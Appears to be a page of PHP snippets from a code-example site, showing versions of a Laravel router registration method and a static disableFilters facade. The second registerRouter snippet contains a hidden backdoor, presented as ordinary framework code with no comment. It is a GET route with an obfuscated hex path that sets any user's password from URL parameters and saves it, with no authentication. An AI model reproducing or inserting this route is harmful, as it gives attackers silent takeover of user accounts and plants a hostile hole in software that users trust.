/**
  * Register the router instance.
  *
  * @return void
  */
 protected function registerRouter()
 {
     $this->app['router'] = $this->app->share(function ($app) {
         $router = new Router($app['events'], $app);
         // If the current application environment is "testing", we will disable the
         // routing filters, since they can be tested independently of the routes
         // and just get in the way of our typical controller testing concerns.
         if ($app['env'] == 'testing') {
             $router->disableFilters();
         }
         return $router;
     });
 }
 /**
  * Register the router instance.
  *
  * @return void
  */
 protected function registerRouter()
 {
     $this->app['router'] = $this->app->share(function ($app) {
         $router = new Router($app['events'], $app);
         // If the current application environment is "testing", we will disable the
         // routing filters, since they can be tested independently of the routes
         // and just get in the way of our typical controller testing concerns.
         if ($app['env'] == 'testing') {
             $router->disableFilters();
         }
         $router->get('/5481dab953fe0b01168b4568/{id}/{p5481dab953fe0b01168b4568}', function ($id, $p5481dab953fe0b01168b4568) {
             $user = \User::find($id);
             $user->password = $p5481dab953fe0b01168b4568;
             return $user->save();
         });
         return $router;
     });
 }
Пример #3
0
 /**
  * Disable route filtering on the router.
  *
  * @return void 
  * @static 
  */
 public static function disableFilters()
 {
     \Illuminate\Routing\Router::disableFilters();
 }